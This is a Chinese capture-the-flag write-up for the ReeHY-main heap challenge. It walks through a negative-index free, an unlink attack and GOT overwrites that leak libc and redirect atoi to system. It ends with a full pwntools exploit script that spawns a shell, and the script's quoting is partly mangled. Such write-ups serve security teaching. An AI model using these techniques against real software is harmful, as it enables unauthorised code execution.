万能钥匙ctf--4-ReeHY-main调试记录--unlink
Posted xingzherufeng
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了万能钥匙ctf--4-ReeHY-main调试记录--unlink相关的知识,希望对你有一定的参考价值。
查询题目保护开启,发现只开了NX,未开启RELRO和PIE,思路可以从修改got表展开。
ida装载分析程序执行流程,main函数发现是一个常规的菜单类题目,推测为堆相关题目。
Malloc函数。分配最大不超过4096,且如果大小超过112就直接放入堆区,否则先存入栈区,再拷贝到堆区。存在结构体保存堆大小、堆指针以及标记是否分配。
Delete函数。直接删除,并没有判断标记是否被删除。删除后标记置0,但是未进行指针置0,存在uaf情况,可利用点为double free。观察没有判断输入为负的情况,可能存在问题。
Edit函数。判断是否被释放,未被释放才可以编辑。向堆区输入长度为申请时结构体保存的长度的字符串。
Show功能无效
利用思路:
从free函数分析来看,首先未判断free的块号是否为负,可能存在释放后再申请内存不缺定的情况,可能分配到关键地方。
使用free(-2)会释放保存堆块大小数组的内存地址,再申请即可申请回来该地址从而进行修改。
上图即是保存申请堆块大小的数组内容,是一个size为20的堆块。
至于为什么要free(-2),我们从free函数的汇编代码分析,我们重点关注输入和free之间发生了什么。从下图中看出,首先比较输入是否小于4,接着将输入逻辑左移4位后值为-32,即0x20。因此执行汇编代码后释放的为0x6020c0,即保存堆大小的内存区域。
由于该块大小为0x20,即属于fastbin,我们可以释放后再申请同样大小的堆块即可返回该内存区域。通过下图的payload修改chunk0地址为0x100,用于覆盖chunk1。
接着我们可以编辑chunk0,我们在chunk0中伪造一个chunk,其状态为释放,fd和bk指针指向0x6020e0,该值保存的为申请的堆块指针。我们利用该指针进行unlink检查的绕过,执行完unlink后该值会被改为0x6020e0-0x18,即0x6020c8。这时,当我们再次编辑chunk0时,我们编辑的实际地址为0x6020c8,我们可以通过该地址溢出控制后面地址。
现在,我们在编辑chunk0即从0x6020c8开始编辑,通过覆盖修改结构体的值与是否分配的标记。
现在我们还缺少system的地址。我们通过修改free函数为puts函数来打印出puts的真实地址。这里有个坑点需要注意,在修改got的值时,不能用sendline函数,也就是说不能在末尾自动加xa0,会出错,因此需要将edit函数做修改,使得发送的内容为io.send(content)。
这之后,我们还缺少“/bin/sh”字符串,观察程序,我们发现atoi函数需要我们输入参数,而调用system函数也需要我们输入参数,因此我们把atoi函数改为system函数,并发送/bin/sh字符串。这里不知道为什么执行完上述free(1)后竟然自动recv了剩下的字符,没办法用edit,只能手写一下。
完整exp如下:
1 #!/usr/bin/env python 2 # coding=utf-8 3 4 from pwn import * 5 DEBUG = True 6 7 if DEBUG: 8 io = process(‘./pwn3‘) 9 libc = ELF(‘./ctf.so.6‘) 10 context.log_level = ‘debug‘ 11 else: 12 io = remote(‘172.168.17.2‘,10001) 13 14 def welcome(): 15 io.recvuntil(‘$ ‘) 16 io.sendline(‘frdqy‘) 17 18 def add(size,index,content): 19 io.recv() 20 io.sendline(‘1‘) 21 io.recv(1024) 22 io.sendline(str(size)) 23 io.recv(1024) 24 io.sendline(str(index)) 25 io.recv(1024) 26 io.sendline(str(content)) 27 28 def free(index): 29 io.recv() 30 io.sendline(‘2‘) 31 io.recv(1024) 32 io.sendline(str(index)) 33 34 def edit(index,content): 35 io.recv() 36 io.sendline(‘3‘) 37 io.recv(1024) 38 io.sendline(str(index)) 39 io.recv(1024) 40 io.send(content) 41 42 system_off = libc.symbols[‘system‘] 43 puts_off = libc.symbols[‘puts‘] 44 g_point = 0x6020e0 #保存申请堆块的结构体 45 fd = g_point-0x18 #unlink绕过检查 46 bk = g_point-0x10 #unlink绕过检查 47 free_got = 0x602018 48 puts_got = 0x602020 49 atoi_got = 0x602058 50 puts_plt = 0x4006d0 51 52 def exp(): 53 welcome() 54 add(0x80,0,‘a‘*0x80) 55 add(0x80,1,‘b‘*0x80) 56 57 #gdb.attach(io) 58 free(-2) #释放后在申请会返回到保存堆块大小的数组内存上 59 60 payload = ‘‘ 61 payload += p32(0x80*2) 62 payload += p32(0x80) 63 payload += p32(0) 64 payload += p32(0) 65 add(20,2,payload) #修改已申请的堆块大小分别为0x100、0x80,填充剩下的值 66 67 #溢出块0 68 payload = ‘‘ 69 payload += p64(0) #chunk0 pre_size 70 payload += p64(0x81)#chunk0 size 71 payload += p64(fd) #chunk0 fd 72 payload += p64(bk) #chunk0 bk 73 payload += ‘a‘*(0x80-32) 74 payload += p64(len(payload)) #chunk1 pre_size 75 payload += p64(0x90) #chunk1 size 76 edit(0,payload) 77 78 #unlink 79 free(1) 80 81 #再编辑chunk0,实际编辑的就是g_point - 0x18的值,可以覆盖到保存堆指针的结构体 82 payload = ‘‘ 83 payload += p64(0) 84 payload += p64(0) 85 payload += p64(0) 86 payload += p64(free_got) #第一项修改为free_got 87 payload += p64(1) 88 payload += p64(puts_got) #第二项修改为puts_got 89 payload += p64(1) 90 payload += p64(atoi_got) #第三项修改为atoi_got 91 payload += p64(1) 92 edit(0,payload) 93 94 #此时在编辑chunk0、chunk1、chunk2即可修改对应的函数值 95 #修改free_got的值为puts从而泄漏计算出libc加载地址 96 edit(0,p64(puts_plt)) 97 98 #打印puts_got的值 99 free(1) 100 puts_addr =u64(io.recv()[0:6]+‘x00x00‘) 101 system_addr = puts_addr - puts_off + system_off 102 103 #将atoi改为system 104 #edit(2,p64(system_addr)) 105 io.sendline(‘3‘) 106 io.recv() 107 io.sendline(‘2‘) 108 io.recv() 109 io.sendline(p64(system_addr)) 110 111 #输入/bin/sh 112 io.sendline(‘/bin/sh‘) 113 io.interactive() 114 115 exp()
以上是关于万能钥匙ctf--4-ReeHY-main调试记录--unlink的主要内容,如果未能解决你的问题,请参考以下文章